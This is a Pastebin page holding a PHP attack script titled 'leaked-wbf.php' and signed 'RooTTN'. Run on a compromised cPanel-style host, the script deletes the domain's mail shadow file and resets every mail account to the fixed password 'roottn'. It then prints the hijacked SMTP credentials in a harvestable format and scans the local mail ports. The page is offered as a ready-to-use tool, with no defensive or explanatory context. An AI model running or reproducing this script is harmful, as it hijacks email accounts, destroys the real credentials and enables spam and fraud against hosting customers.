Advertisement
SAINTSATRIA

leaked-wbf.php

Apr 17th, 2019
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1.  
  2. <?php
  3. //Bksmile **(RooTTN)**
  4. set_time_limit(0);
  5. ini_set('max_execution_time',0);
  6. ini_set('memory_limit',-1);
  7. // port to scan
  8. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  9. $primary_port='25';
  10. //curent user
  11. $user=get_current_user();
  12. // Smtp password
  13. $password='roottn';
  14. //crypt
  15. $pwd = crypt($password,'$6$roottn$');
  16. // host name
  17. $t = $_SERVER['SERVER_NAME'];
  18. //edit
  19. $t = @str_replace("www.","",$t);
  20. //get users
  21. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  22. //edit
  23. $ex=explode("\r\n",$passwd);
  24. //backup shadow
  25. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
  26. //delete shadow
  27. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  28. // :D
  29. foreach($ex as $ex){
  30. $ex=explode(':',$ex);
  31. $e= $ex[0];
  32. if ($e){
  33. $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  34. echo '<span style=\'color:#00ff00;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>'; "</center>";
  35. }}
  36. //port scan
  37. foreach ($ports as $port)
  38. {
  39. $connection = @fsockopen($t, $port, $errno, $errstr, 2);
  40. if (is_resource($connection))
  41. {
  42. echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
  43. fclose($connection);
  44. }
  45. }
  46. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement